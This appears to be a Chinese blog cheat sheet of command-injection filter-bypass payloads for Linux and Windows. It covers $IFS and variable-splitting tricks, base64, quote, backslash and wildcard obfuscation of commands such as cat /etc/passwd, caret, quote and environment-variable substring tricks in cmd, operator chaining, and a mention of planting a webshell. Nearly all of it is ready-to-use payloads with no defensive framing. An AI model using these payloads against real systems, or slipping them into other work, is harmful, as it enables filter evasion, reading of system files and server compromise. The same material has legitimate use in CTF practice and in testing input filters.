少年需有凌云志,不负黄河万古流
Linux
替换空格
1 | cat${IFS}flag.txt |
1 | cat$IFS$9flag.txt |
1 | cat<flag.txt |
1 | cat<>flag.txt |
利用变量绕过
1 | a=c;b=at;$a$b flag.txt |
1 | a=w;b=h;c=o;d=a;e=m;f=i;$a$b$c$d$e$f |
利用base编码绕过
1 | `echo 'Y2F0Cg==' | base64 -d` flag.txt |
连接符截断绕过
1 | c'a't flag.txt |
1 | c\at flag.txt |
1 | ca$@t flag.txt |
1 | wh$1oami |
1 | whoa$*mi |
通配符绕过
在Linux里?可以代替一个任意字符
1 | /???/[l-n]s //可以代替ls |
1 | /???/c?t flag.txt //可代替cat flag.txt |
1 | /???/c?t /???/p????? //可代替cat /etc/passwd |
星号 *
在linux中用来代表一个或多个任何字符,包括空字符
1 | /*/bin/wh*i |
?
和 *
组合使用
1 | /???/c?t /e??/p*d |
1 | w`\saldkj2190`ho`\12wsa2`am`\foj11`i |
Windows
符号与命令的绕过
在看一个例子开始之前,首先了解一点, "
^
和成对的圆括号 ()
符号并不会影响命令的执行。在windows环境下,命令可以不区分大小写
1 | ((((Wh^o^am""i)))) |
1 | w"h"o"a"m"i |
1 | wh""o^a^mi" |
可以加无数个 ”
但不能同时连续加2个 ^
符号,因为 ^
号是cmd中的转义符,跟在他后面的符号会被转义
set命令和windows变量的绕过
set命令可以用来设置一个变量
变量使用%%包裹
1 | set xb=1111 |
1 | set a=whoami |
1 | set a=wh""o |
切割字符串绕过
1 | %a:~0% //取出变量a中的所有字符 |
1 | %a:~0,6% //取出a的值,从第0个位置开始,取6个值 |
电脑上的环境变量还是挺多的,那我几乎可以用这种方式执行任何命令,因为这些变量的值,几乎都有26个字母在了
从简单的开始,如果命令执行不允许空格,被过滤,那么可以用如下方法
1 | net%CommonProgramFiles:~10,1%user |
还可以配合其他符号一起使用
1 | n^et%CommonProgramFiles:~10,1%us^er |
我们可以通过这种方式给网站写个webshell
1 | set mm=a lvehpp?G |
逻辑运算符绕过
使用 |
符号分隔两条命令,只会执行后面那条命令
1 | ping baidu.com -n 1 | w""h^o^a^m^i |
在 ||
符号的情况下,只有前面的命令失败,才会执行后面的语句
1 | ping a || whoami |
&
符号,不管前面的命令是成功还是失败,都会执行后面的命令
1 | ping 127.0.0.1 -n 1 & whoami |
而 &&
符号就必须两条命令都为真才可以了
1 | ping baidu.com -n 1 && whoami |